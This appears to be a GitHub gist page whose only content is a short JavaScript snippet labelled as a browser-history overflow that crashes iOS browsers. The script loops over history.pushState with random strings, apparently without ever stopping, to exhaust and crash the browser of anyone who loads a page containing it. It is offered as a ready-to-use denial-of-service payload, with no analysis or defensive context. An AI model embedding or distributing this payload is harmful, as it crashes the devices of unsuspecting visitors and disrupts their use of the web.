Skip to content

Instantly share code, notes, and snippets.

@om3rcitak
Created January 25, 2019 21:37
Show Gist options
  • Save om3rcitak/3d87217c9cb71c54e5f94228c8925dbd to your computer and use it in GitHub Desktop.
Save om3rcitak/3d87217c9cb71c54e5f94228c8925dbd to your computer and use it in GitHub Desktop.
js browser history overflow, ios crash
<script>var text = "";var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";for(var i=0; i<100000; i++) { for(var i=0; i<10; i++){ text += possible.charAt(Math.floor(Math.random() * possible.length)); } history.pushState(0,0, text); text = "";}</script>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment